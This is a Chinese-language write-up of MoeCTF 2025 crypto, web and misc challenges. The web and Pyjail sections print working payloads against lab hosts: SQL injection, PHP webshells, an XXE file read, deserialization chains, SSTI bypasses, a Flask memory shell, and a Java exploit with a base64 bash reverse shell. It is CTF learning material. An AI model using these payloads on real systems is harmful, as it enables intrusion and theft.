Moectf2025-web&misc&crypto (持续更新
目录
moectf2025:
签到:
提示里面有
---> moectf{Welcome_to_MoeCTF_2025} <---
Crypto
入门:
#!/usr/bin/env python3 # decrypt_elgamal.py # Requires pycryptodome (for Crypto.Util.number) # pip install pycryptodome from Crypto.Util.number import inverse, long_to_bytes # --- paste the parameters exactly as integers below --- p = 11540963715962144951763578255357417528966715904849014985547597657698304891044841099894993117258279094910424033273299863589407477091830213468539451196239863 g = 2 y = 8313424783366011287014623582773521595333285291380540689467073212212931648415580065207081449784135835711205324186662482526357834042013400765421925274271853 c1 = 6652053553055645358275362259554856525976931841318251152940464543175108560132949610916012490837970851191204144757409335011811874896056430105292534244732863 c2 = 2314913568081526428247981719100952331444938852399031826635475971947484663418362533363591441216570597417789120470703548843342170567039399830377459228297983 x = 8010957078086554284020959664124784479610913596560035011951143269559761229114027738791440961864150225798049120582540951874956255115884539333966429021004214 # -------------------------------------------------- def elgamal_decrypt(p, c1, c2, x): # compute s = c1^x mod p s = pow(c1, x, p) # compute s^{-1} mod p s_inv = inverse(s, p) # recover message integer m m = (c2 * s_inv) % p return m if __name__ == "__main__": m = elgamal_decrypt(p, c1, c2, x) try: flag_bytes = long_to_bytes(m) # print raw bytes repr and attempt decode as utf-8 print("Recovered bytes (repr):", repr(flag_bytes)) try: print("Recovered as UTF-8 string:") print(flag_bytes.decode('utf-8')) except Exception: print("Note: could not decode as UTF-8. Inspect bytes above.") except Exception as e: print("Error converting integer to bytes:", e) print("Integer m:", m) ez_des
from Crypto.Cipher import DES import itertools, string, time, sys, re ciphertext = b'\xe6\x8b0\xc8m\t?\x1d\xf6\x99sA>\xce \rN\x83z\xa0\xdc{\xbc\xb8X\xb2\xe2q\xa4"\xfc\x07' prefix = 'ezdes' chars = string.ascii_letters + string.digits + string.punctuation start = time.time() tried = 0 found = None pattern = re.compile(b'moectf\\{[^\\}]{1,100}\\}') # expect something like moectf{...} for combo in itertools.product(chars, repeat=3): key = (prefix + ''.join(combo)).encode('utf-8') des = DES.new(key, DES.MODE_ECB) plain = des.decrypt(ciphertext) m = pattern.search(plain) tried += 1 if m: found = (key, m.group().decode('utf-8', errors='replace'), plain) print("FOUND! key =", key, "flag =", m.group().decode('utf-8', errors='replace')) break # print progress occasionally if tried % 50000 == 0: elapsed = time.time() - start rate = tried/elapsed print(f"tried={tried}, rate={rate:.0f} keys/sec, elapsed={elapsed:.1f}s", flush=True) end = time.time() if not found: print("No match found in the full search.", "tried =", tried) else: print("Done. Tried:", tried, "Time:", end-start) # For user's inspection, also print the full decrypted plaintext bytes for the found key (if any) if found: key, flag, full_plain = found print("\nFull decrypted plaintext bytes (escaped):") print(full_plain) print("\nAs utf-8 (with replacement for non-printable):") print(full_plain.decode('utf-8', errors='replace'))正在提交: moectf{_Ju5t envmEra+e.!}
最小神秘数字
# def bsgs(base, target, modulus): # """ # Baby-Step Giant-Step 解离散对数: base^x ≡ target (mod modulus) # 返回最小的正整数 x # """ # base %= modulus # target %= modulus # # m = int(modulus ** 0.5) + 1 # # 存储 base^j -> j # table = {} # e = 1 # for j in range(m): # if e in table: # break # table[e] = j # e = (e * base) % modulus # # # 计算 base^(-m) mod modulus # factor = pow(base, modulus - 1 - m, modulus) # # gamma = target # for i in range(m): # if gamma in table: # return i * m + table[gamma] # gamma = (gamma * factor) % modulus # return None # # # def main(): # m = 10000000000099 # base = 10 # target = 1030627 # 1 + 114514 * 9 # # N = bsgs(base, target, m) # print(f"最小的 N = {N}") # # # 验证 # Rn = (pow(10, N, 9 * m) - 1) // 9 # if Rn % m == 114514: # print("验证成功!") # else: # print("验证失败!") # # # if __name__ == "__main__": # main() from math import isqrt import sys M = 10000000000099 target = (9 * 114514 + 1) % M # 1030627 g = 10 % M def bsgs(g, target, mod): """Solve g^x = target (mod mod), return x or None""" if target == 1: return 0 m = isqrt(mod) + 1 baby = {} cur = 1 for j in range(m): if cur not in baby: baby[cur] = j cur = (cur * g) % mod factor = pow(g, m, mod) cur = target for i in range(m+1): if cur in baby: return i * m + baby[cur] cur = (cur * factor) % mod return None def multiplicative_order(g, mod): """Find order of g mod mod (brute force factorization of totient not possible here, so fallback)""" # We cannot factor M-1 directly (too large), so fallback to cycle detection. seen = {} cur = 1 for i in range(1, 10**7): # limit for safety cur = (cur * g) % mod if cur == 1: return i if cur in seen: break seen[cur] = i return None # Step 1: BSGS N0 = bsgs(g, target, M) print("One solution N0 =", N0) # Step 2: Try to confirm with direct computation check_val = pow(g, N0, M) print("10^N0 mod M =", check_val, "expected", target) print("Check (10^N0-1)/9 mod M =", ((check_val - 1) * pow(9, -1, M)) % M) # Step 3: Try to find another solution by exploring multiples of order ord10 = multiplicative_order(g, M) print("Order of 10 mod M (maybe truncated) =", ord10) if ord10: alt = (N0 + ord10) % (M-1) print("Another candidate N =", alt) print("10^alt mod M =", pow(10, alt, M)) 7718260004383 2281743386085
ezBSGS:
# 依旧ai神力 from math import isqrt def BSGS(a, b, p): a %= p b %= p if b == 1: return 0 n = isqrt(p) + 1 baby = {} cur = 1 # baby steps for j in range(n): if cur not in baby: baby[cur] = j cur = (cur * a) % p # a^{-n} an = pow(a, n * (p - 2), p) # 因为p可能是质数,也可能不是,但先尝试费马逆元 cur = b for i in range(n): if cur in baby: return i * n + baby[cur] cur = (cur * an) % p return None p = 100000000000099 a = 13 b = 114514 x = BSGS(a, b, p) print("Flag:", x) web:
111
签到

moectf{jv@vScr1p7_14_so0o0o0o_inT3r3&t!!!}第一章 神秘的手镯:

第二章 初识金曦玄轨

第三章 问剑石!篡天改命!

第四章 金曦破禁与七绝傀儡阵
1:

获得玉简碎片: bW9lY3Rme0Mw 获得玉简碎片: bjZyNDd1MTQ3 获得玉简碎片: MTBuNV95MHVy 获得玉简碎片: X2g3N1BfbDN2 获得玉简碎片: M2xfMTVfcjM0 获得玉简碎片: bGx5X2gxOWgh 获得玉简碎片: fQ==2:

3:

4:

5:

6:

7:


moectf{C0n6r47u14710n5_y0ur_h77P_l3v3l_15_r34lly_h19h!}第五章 打上门来!

moectf{@1L-1npuT-IS-mal1Ci0uSfe8bf5}第六章 藏经禁制?玄机初探!

moectf{W31c0Me-To_SQl-lNJEcTiOnll5cf658e}第七章 灵蛛探穴与阴阳双生符
robots.txt

a!=b 且 md5值相等,
/flag.php?a=QNKCDZO&b=240610708
moectf{Md5-1S-Not_5af3l!275cede1962}第八章 天衍真言,星图显圣:
http://192.168.119.1:37984/?username=0&password='||%20-1%23 返回admin http://192.168.119.1:37984/?username=0&password='||%200%23 无返回 盲注
出了一个user
http://192.168.119.1:37984/?username=1'/**/Union/**/select/**/database(),2%23&password=1'union/**/select/**/1,2,3||'1
Welcome flag,users http://192.168.119.1:37984/?username=1'/**/Union/**/select/**/group_concat(table_name),2/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema='user'%23&password=1value http://192.168.119.1:37984/?username=1'/**/Union/**/select/**/group_concat(column_name),2/**/FROM/**/information_schema.columns/**/WHERE/**/table_schema='user'and/**/table_name='flag'%23&password=1Welcome moectf{uN1On-6@sEd-sQ11_FtWl19bb9af2f} http://192.168.119.1:37984/?username=1'/**/Union/**/select/**/*,2/**/FROM/**/user.flag%23&password=1
Moe笑传之猜猜爆


222
第九章 星墟禁制·天机问路

写马
128.0.0.1;echo "<?php eval(\$_POST[2]);?>" > ./2.php
写马之后发发现在env里

第十章 天机符阵
这对吗?

第十一章 千机变·破妄之眼
from itertools import permutations letters = ['m', 'n', 'o', 'p', 'q'] with open('param.txt', 'w', encoding='utf-8') as f: for p in permutations(letters): f.write(''.join(p) + '\n') # 每个排列写一行 print("已生成 param.txt,总数:", 5*4*3*2*1)然后就去爆破就可以了。


noqpm

<?php echo "flag就在这了,看不到吗,是老弟境界不够吧"; //moectf{546b1e43-2a08-3a50-f287-1c5d3b7f53bd}这是...Webshell?:
第十章 天机符阵_revenge
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [<!ENTITY file SYSTEM "file:///flag.txt">]> <root><解析>&file;</解析></root>摸金偶遇FLAG,拼尽全力难战胜
主要是访问这两个url
http://192.168.119.1:31059/get_challenge?count=9
和
http://192.168.119.1:31059/verify
import requests BASE_URL = "http://192.168.119.1:31059" HEADERS = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36", "Accept": "*/*", "Referer": f"{BASE_URL}/", "Origin": BASE_URL, } def main(): with requests.Session() as s: s.headers.update(HEADERS) # 第一步:获取 challenge resp = s.get(f"{BASE_URL}/get_challenge?count=9") resp.raise_for_status() data = resp.json() numbers, token = data["numbers"], data["token"] print(f"获取到的数字: {numbers}, token: {token}") # 第二步:提交答案 resp = s.post(f"{BASE_URL}/verify", json={"answers": numbers, "token": token}) if resp.status_code == 200: result = resp.json() if result.get("correct"): print("破译成功,flag:", result.get("flag")) else: print("破译失败:", result.get("message")) else: print("POST /verify 仍返回状态码:", resp.status_code) if __name__ == "__main__": main() 第十二章 玉魄玄关·破妄

第十三章 通幽关·灵纹诡影
图片马 从jpg改php即可


moectf{e2619f6f-7b50-fa3b-1bed-58f2e4443417}第十四章 御神关·补天玉碑
先传.htaccess
<FilesMatch "webshell">
Sethandler application/x-httpd-php
</FilesMatch>
然后传一个 带有webshell的马即可

333
神秘的手镯_revenge


根据逻辑提交500次即可 :

爆破500次即可

第十五章 归真关·竞时净魔
<?php $f= fopen ("test.php","w") ; fputs ($f,'<?php phpinfo();?>'); ?>爆破
POST /upload.php HTTP/1.1 Host: 192.168.119.1:6661 Content-Length: 464 Cache-Control: max-age=0 Origin: http://192.168.119.1:6661 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQcda1U35nS09yTb Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://192.168.119.1:6661/ Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: keep-alive ------WebKitFormBoundaryFQcda1U35nS09yTb Content-Disposition: form-data; name="upload_file"; filename="jingzheng.php" Content-Type: application/octet-stream <?php $file = fopen("/var/www/html/uploads/shell.php","w"); $payload="<?php phpinfo();@eval(\$_POST[1]);?>"; fwrite($file,$payload); fclose($file); ?> ------WebKitFormBoundaryFQcda1U35nS09yTb Content-Disposition: form-data; name="submit" ä¸ä¼ ------WebKitFormBoundaryFQcda1U35nS09yTb-- 请求包: GET /uploads/jingzheng.php HTTP/1.1 Host: 192.168.119.1:6661 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: keep-alive 1=system('nl /f*'); 1 moectf{bc357036-4ed6-249c-7cc6-3f376e5c2b62}第十六章 昆仑星途

第十七章 星骸迷阵·神念重构
链子
<?php highlight_file(__FILE__); class A { public $a; function __destruct() { eval($this->a); } } $aa = new A(); $aa->a = "system('ls /');"; echo serialize($aa); 
http://192.168.119.1:7617/?a=O:1:"A":1:{s:1:"a";s:17:"system('nl /f*');";}第十八章 万卷诡阁·功法连环
name 是一个私有属性,私有属性我们是不能直接通过属性赋值的。但是后面可以手动修改
public function __construct() {
$this->name = new PersonB();
}
<?php highlight_file(__FILE__); class PersonA { public $name; public function __construct() { $this->name = new PersonB(); } function __wakeup() { $name=$this->name; $name->work(); } } class PersonB { public $name; public function __construct() { $this->name = "system('ls /');"; } } $A = new PersonA(); echo serialize($A);http://192.168.119.1:50568/?person=O:7:"PersonA":1:{s:4:"name";O:7:"PersonB":1:{s:4:"name";s:17:"system('nl /f*');";}} } 1 moectf{bbcb4065-8bff-8187-20b0-7823c2c47baa}第十九章 星穹真相·补天归源
用不到B 因为是public属性,直接从A到C调用它的__Check函数就行了 <?php highlight_file(__FILE__); class Person { public $name; public $id; public $age; public function __invoke($id) { $name = $this->id; $name->name = $id; $name->age = $this->name; } } class PersonA extends Person { } class PersonC extends Person { public function __Check($age) { $name = $this->name; $name($age); } public function __wakeup() { $age = $this->age; $name = $this->id; $name->age = $age; $name($this); } } $a = new PersonA(); $a->name=new PersonC(); $a->id="__Check"; $a->age="ls /"; $a->name->name="system"; echo serialize($a); http://192.168.119.1:14551/?person=O:7:%22PersonA%22:3:{s:4:%22name%22;O:7:%22PersonC%22:3:{s:4:%22name%22;s:6:%22system%22;s:2:%22id%22;N;s:3:%22age%22;N;}s:2:%22id%22;s:7:%22__Check%22;s:3:%22age%22;s:6:%22nl%20/f*%22;}
第十九 reverse
http://192.168.119.1:53031/ ?person=O:7:"PersonA":3:{s:4:"name";O:7:"PersonC":3:{s:4:"name";s:8:"passthru";s:2:"id";N;s:3:"age";N;}s:2:"id";s:5:"check";s:3:"age";s:4:"ls /";}
在 env中

禁用了system 用 passthru就行了
$a = new PersonA(); $a->name=new PersonC(); $a->id="check"; $a->age="ls"; $a->name->name="passthru"; echo serialize($a); moectf{5f3195b3-0a8d-6403-7b21-a73b0b8f04f8} NULL第二十章 幽冥血海·幻语心魔
ssti 梭哈就行了
{{(ez.__eq__.__globals__.sys.modules.os.popen('nl /f*')).read()}}"}

第二十一章 往生漩涡·言灵死局
blacklist = ["__", "global", "{{", "}}"]过滤了下划线和 global 左右花括号
+号绕过下画线:

可以使用unicode编码 绕过
{%print lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u0067\u0065\u0074")("os")|attr("\u0070\u006f\u0070\u0065\u006e")("ls /")|attr("\u0072\u0065\u0061\u0064")()%}{%print lipsum |attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f") |attr("\u0067\u0065\u0074")("os") |attr("\u0070\u006f\u0070\u0065\u006e")("nl /f*") |attr("\u0072\u0065\u0061\u0064")()%}
第二十二章 血海核心·千年手段
打内存马 {{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}
有flag但是拿不到 好难受。 ls -al 发现 权限是不够的

在/usr/bin/

提权
http://192.168.119.1:40701/?cmd=echo%20`find / -user root -perm -4000 -print 2>/dev/null`
继续利用 echo把内容输出出来
http://192.168.119.1:43115/?cmd=echo "$(base64 /usr/bin/rev)"
用ida反编译一下

“启动自己时,只要带上 --HDdss 选项,就会把这个选项之后的所有参数当作命令去执行。”

第二十三章 幻境迷心·皇陨星沉(大结局)
cc1https://blog.ZEEKLOG.net/m0_64014167/article/details/139459370?spm=1001.2101.3001.10796

这里传入的是Transformer[] 数组类型的参数,而这个类的transform方法比较有意思:它会把第i轮的输出再作为第i+1轮的输入,直到循环结束,return最终的结果。
还是没打通,好菜。。。。
package com.example.demo.controller; import com.example.demo.Dog.Dog; import com.example.demo.Dog.DogService; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map; public class Exp { public static String serialize(Object obj) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); return Base64.getEncoder().encodeToString(baos.toByteArray()); } public static void deserialize(String base64Data) throws IOException, ClassNotFoundException { ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64Data)); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); } public static Dog setDog(Object i,String m,Class[] p,Object[] a) throws Exception { Dog dog = new Dog(2,"guanfangwp","guanfangwp",2); Field input = Dog.class.getDeclaredField("object"); input.setAccessible(true); input.set(dog,i); Field methodName = Dog.class.getDeclaredField("methodName"); methodName.setAccessible(true); methodName.set(dog,m); Field paramTypes = Dog.class.getDeclaredField("paramTypes"); paramTypes.setAccessible(true); paramTypes.set(dog,p); Field args = Dog.class.getDeclaredField("args"); args.setAccessible(true); args.set(dog,a); return dog; } public static void main(String[] args) throws Exception { Map<Object,Object> map = new HashMap<>(); Dog dog1 = setDog(Runtime.class,"getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}); Dog dog2 = setDog(Runtime.class,"invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}); Dog dog3 = setDog(Runtime.class,"exec",new Class[]{String.class},new Object[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODg4OCAwPiYx}|{base64,-d}|{bash,-i}"}); DogService dogService = new DogService(); Field dogs = dogService.getClass().getDeclaredField("dogs"); dogs.setAccessible(true); Map<Integer, Dog> dogs2 = (Map<Integer, Dog>) dogs.get(dogService); Dog dog4 = setDog(dogService,"chainWagTail",new Class[]{},new Object[]{}); dogs2.put(1,dog1); dogs2.put(2,dog2); dogs2.put(3,dog3); map.put(dog4,123); String gfwp = serialize(map); System.out.println(gfwp); // deserialize(gfwp); } }这是...Webshell
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=$$__; $_($___[_]); // assert($_POST[_]); _=system('ls /') _=system('nl /f*') moectf{784ac8cf-bef7-9446-b80b-06554c169b8a}
这是...Webshell_reverse?
【迎中秋】公开赛writeup|Web-BabyExec

POST /?shell=?%3E%3C?=`.+/???/????????[?-[]`;?> HTTP/1.1 Host: 192.168.119.1:1120 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: session=.eJxFy0EOQDAQBdC7_PVEqI7Sq4hItRMSVEKtxN2JjcVbvgt-cssicRTYC34XlyT0LsEWhutcseEq040qTEmI5zrIfsC2igzlH6aSatIdIW2zRFj88X29VM6HgRXu-wHRux5L.aMlYHA.XI9fo45n9mZaKDRA-eDeZkkMN8U Connection: keep-alive Content-Type:multipart/form-data;boundary=--------Rsecret2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 128 ----------Rsecret2 Content-Disposition:form-data;name="file";filename="Rsecret2.txt" #!/bin/sh nl /f* ----------Rsecret2--moectf{ecb63443-554c-e769-a68e-e99272a3c536}渗透
java -jar demo.jar --server.port=9090起一下服务。
misc:
111
ez_LSB:

└─# echo "bW9lY3Rme0xTQl8xc19zMF8xbnQzcmVzdDFuZyEhc2o5d2R9" | base64 -d moectf{LSB_1s_s0_1nt3rest1ng!!sj9wd} SSTV:

moectf{d3codiNG_SStV_reQu1REs-PATI3nC3}捂住一只耳:
很明显的莫斯


..-. .-.. .- --. .. ... ---... .... .- .-.. ..-. ..--.- .-. .- -.. .. --- ..--.- .. -. ..--.- -..- -.. ..- FLAGIS:HALF_RADIO_IN_XDU HALF_RADIO_IN_XDUEnchantment:



标准银河字母



moectf{now_you_have_mastered_enchanting}ez_png:

zlib-flate 不接受直接在命令行写输入文件作为参数,它只能从 标准输入 (stdin) 读取数据,然后把结果输出到 标准输出 (stdout)。 zlib-flate -uncompress < '/root/misc/_ez_png.png.extracted/3E.zlib' > 123 zlib-flate -uncompress < '/root/misc/_ez_png.png.extracted/DB7C7.zlib' > 12moectf{h1DdEn_P4YlOaD_IN-Id4T}222
Rush
StegSolve 找第12帧
扫二维码即可 moectf{QR_C0d3s_feATUR3_eRror_c0RRECt10N}

ez_锟斤拷????
用户把 UTF-8 编码的文本用 GBK/GB18030(Windows 下常说的“ANSI”)去解释/保存了一次, 导致字符被错误地映射为这些像 锝、綇 这样的字符。 要复原,思路是把当前字符串当作 GBK 字节序列再按 UTF-8 解回来,恢复出原始字符(此次得到的是全角拉丁字母,需要再做全角→半角规范化)。import unicodedata # 读取 1.txt 里的乱码(UTF-8 读) with open("C:/Users/Rsecret2/Desktop/nothing/flag.txt", "r", encoding="utf-8") as f: s = f.read() # 关键:当作 GBK 字节再解成 UTF-8 fixed = s.encode("gbk", errors="replace").decode("utf-8", errors="replace") # 转为半角并取第一段作为 flag flag_halfwidth = unicodedata.normalize("NFKC", fixed).split()[0] print("恢复后的完整文本:") print(fixed) print("\n半角 flag:") print(flag_halfwidth)
encrypted_pdf
pdfcrack 破解 密码 qwe123

矢量化 pdf

提到了和入门指北差不多 ,直接就找隐藏文字 然后就找到了

ez_ssl:

导入之后发现有个zip
CLIENT_RANDOM 5cc9d58e7bf7268c8c7ca13915b43530206bc57523a3dc06420f47291081bf70 3318cf82ad502316bfa204be096be19f297b0e5f680d81e462c39d0af53ab67b82d0e11b54db16dae81394cd9e9816e4 CLIENT_RANDOM 523878d7689e894823485b8f32727c779f8605866423eab6f4cc16c9df1cfb33 3318cf82ad502316bfa204be096be19f297b0e5f680d81e462c39d0af53ab67b82d0e11b54db16dae81394cd9e9816e4 CLIENT_RANDOM ccfba4dd12e374afd300f296b691e12b70f9d5f8be0458782887763c8a54626e 3318cf82ad502316bfa204be096be19f297b0e5f680d81e462c39d0af53ab67b82d0e11b54db16dae81394cd9e9816e4 CLIENT_RANDOM c8e817f2efcee3be9290aa075919f50f329be997b124487d02a1850e48c4292d 3318cf82ad502316bfa204be096be19f297b0e5f680d81e462c39d0af53ab67b82d0e11b54db16dae81394cd9e9816e4导入TSL

有zip
导出






moectf{upI0@d-l0G_TO-DeCrYPT_uploAD}万里挑一
先提取密码,再密码攻击
import zipfile import io # 保存密码的文件 output_file = "pass.txt" # 递归函数,用于处理嵌套zip def extract_passwords(zip_bytes, level=1): passwords = [] with zipfile.ZipFile(io.BytesIO(zip_bytes)) as z: for name in z.namelist(): if name.endswith(".zip"): # 读取子zip文件的二进制内容 sub_zip_bytes = z.read(name) # 递归调用 passwords.extend(extract_passwords(sub_zip_bytes, level + 1)) elif name.endswith("pwd.txt"): content = z.read(name).decode('utf-8').strip() # 提取密码部分 if "The password is:" in content: pwd = content.split("The password is:")[1].strip() passwords.append(pwd) return passwords # 主程序 if __name__ == "__main__": all_passwords = [] with open("password.zip", "rb") as f: zip_bytes = f.read() all_passwords = extract_passwords(zip_bytes) # 保存到文件 with open(output_file, "w") as f: for pwd in all_passwords: f.write(pwd + "\n") print(f"已提取 {len(all_passwords)} 个密码到 {output_file}") 
a296a5ec1385f394e8cb发现压缩包内,对flag.txt的加密方式为“ZipCrypto”,这是一种旧版的ZIP加密算法,里面存在明文攻击漏洞

This program cannot be run in DOS mode. 在明文.exe中

#准备明文 echo -n "0E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000" | xxd -r -ps > mingwen time bkcrack -C nc64.zip -c 明文.exe -p mingwen -o 64┌──(root㉿kali)-[~/misc] └─# time bkcrack -C flag.zip -c "<e6><98><8e><e6><96><87>.exe" -p mingwen -o 64 bkcrack 1.8.0 - 2025-08-18 [23:02:03] Z reduction using 56 bytes of known plaintext 100.0 % (56 / 56) [23:02:04] Attack on 143281 Z values at index 71 Keys: eec878a3 6808e48f 3aa41bd8 73.3 % (105033 / 143281) Found a solution. Stopping. You may resume the attack with the option: --continue-attack 105033 [23:03:24] Keys eec878a3 6808e48f 3aa41bd8 real 81.08s user 480.99s sys 0.14s cpu 593%
bkcrack -C flag.zip -c "<e6><98><8e><e6><96><87>.exe" -k eec878a3 6808e48f 3aa41bd8 -d 3.exe然后回到 win 压缩 3.exe 拿着秘钥去明文即可


moectf{Y0u_h4v3_cho5en_7h3_r1ght_z1pf1le!!uysdgfsad}333
2048_master
玩游戏多个dat文件 ,直接打开,刚好对应的是16个格子 修改后保存,再打开


weird_photo

WebRepo

7z模版
``

┌──(root㉿kali)-[~/misc] └─# git log -- flag.txt commit 249ff41401736165cd4514cee7afcd31ecfe7d09 (HEAD -> master) Author: test <[email protected]> Date: Tue Aug 19 22:33:29 2025 +0800 flag ┌──(root㉿kali)-[~/misc] └─# git restore --source=HEAD --staged --worktree -- flag.txt git show 249ff41:flag.txt > new_flag.txt git show 249ff41401736165cd4514cee7afcd31ecfe7d09git restore --source=HEAD --staged --worktree -- flag.txt
提取出一个flag.txt

Encrypted volume





:@(s<"A3F:89x541Ux[<:@(s<"A3F:89x541Ux[<
BrainFuck解码:moectf{nOW_YoU-h4V3_UNlocKED-VOlumE}
444
哈基米南美鲁多

Pyjail 0
from pwn import * host = "192.168.119.1" port = 11908 # 连接远程服务 r = remote(host, port) # 打印服务发送的第一条信息(通常是验证码提示) print(r.recvline().decode()) # 直接进入交互模式,不做任何处理 r.interactive() #/proc/self/environ
Pyjail 1
def chall(): user_input = input("Give me your code: ") # 过滤关键字 forbidden_keywords = ['import', 'eval', 'exec', 'open', 'file'] for keyword in forbidden_keywords: if keyword in user_input: print(f"Forbidden keyword detected: {keyword}") return result = eval(user_input)先breakpoint() 再 拿交互shell就行了 __import__('os').system('sh') cat /tmp/f* moectf{49943a91-751a-2c66-7c55-4ccf0aab8a2c}
Pyjail 2
def chall(): user_input = input("Give me your code: ") # 过滤关键字 forbidden_keywords = ['import', 'eval', 'exec', 'open', 'file'] for keyword in forbidden_keywords: if keyword in user_input: print(f"Forbidden keyword detected: {keyword}") return # 过滤特殊字符 forbidden_chars = ['.', '_', '[', ']', "'", '"'] for char in forbidden_chars: if char in user_input: print(f"Forbidden character detected: {char}") return result = eval(user_input)??? 刚好上题继续梭哈
Please enter the reverse of 'OM43JUES' to continue: seuj34mo Give me your code: breakpoint() --Return-- > <string>(1)<module>()->None (Pdb) __import__('os').system('sh') ls main.py wrapper.sh cat /tmp/f* moectf{45ef2f8e-4918-910c-13b4-506bc95f022d} 
Pyjail 3
def chall(): user_input = input("Give me your code: ") try: result = eval(user_input, {"__builtins__": None}, {}) # Hint: When __builtins__ is None, you need to be more creative... print("Code executed successfully!") if result is not None: print(f"Return value: {result}") except Exception as e: print(f"Execution error: {type(e).__name__}: {e}")把变量 user_input 中的字符串,当成一个 纯表达式 来求值。

Please enter the reverse of 'NWWBJCXE' to continue: excjbwwn Give me your code: ().__class__.__mro__[1].__subclasses__()[155] Code executed successfully! Return value: <class 'os._wrap_close'> Please enter the reverse of 'Y5NAMEEB' to continue: Please enter the reverse of 'G7MTLZXA' to continue: axzltm7g Give me your code: ().__class__.__mro__[1].__subclasses__()[155].__init__.__globals__['popen']('cat /tmp/f*').read() Code executed successfully! Return value: moectf{406fe97a-aeb3-0b20-5902-8e00148ba1f6} ().__class__.__mro__[1].__subclasses__()[155].__init__.__globals__['popen']('cat /tmp/f*').read()Pyjail 4
注意:此题解题方式与 Pyjail 3 大不相同,不要惯性思维
https://ihsvcpub.us-west-1.clawcloudrun.com/2025/05/10/2025-minil-wp/ builtins.exec("builtins.__import__('os').system('ls')")def f(): global x, frame frame = x.gi_frame.f_back.f_back.f_globals yield x = f() x.send(None) raise Exception(frame) #base64
第八个
__builtins__['list'] = lambda x: ['import', 'time.sleep', 'builtins.input', 'builtins.input/result','exec', 'compile', 'object.__getattr__'] __builtins__['len'] = lambda x: 0 def f(): global x, frame frame = x.gi_frame.f_back.f_back.f_globals yield x = f() x.send(None) if frame['__builtins__']: print(1)
def f(): global x, frame frame = x.gi_frame.f_back.f_back.f_globals yield x = f() x.send(None) raise Exception(frame['__builtins__']['__import__']('os').popen('cat /etc/passwd').read())https://www.tremse.cn/2025/05/15/python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/#pyboxminil-2025 直接梭哈 list=lambda x:True len=lambda x:False try: raise Exception except Exception as e: globals = e.__traceback__.tb_frame.f_back.f_globals globals['RestrictedNodeVisitor'].visit_Attribute=lambda x,y:None os = globals["sys"].modules["os"] os.system("cat /tmp/f*")Pyjail 5
利用 AttributeError.obj 从报错中获取对象,
参考文章 https://pid-blog.com/article/noval-pyjail-tricks利用 Python 异常这件事本身并不新鲜,一般是通过sys.exc_info()或e.__traceback__拿到报错栈帧对象,然后在栈上回溯以求逃逸。这是一个通用方法。
在 Python 的内置异常类型中,AttributeError具有一个obj属性,可以直接访问到抛出异常的对象——这个方法则是AttributeError独有的。
一个用法是,结合str.format,绕过过滤获取getitem/setitem:
class Foo: bar = 114514 foo = Foo() match foo: case Foo(bar=val): # Foo 为 foo 对应的类,可用 object 替换 print(val) # val 即为 foo.bar然后我们可以将 Pyjail 4 的 Payload 改成这样:
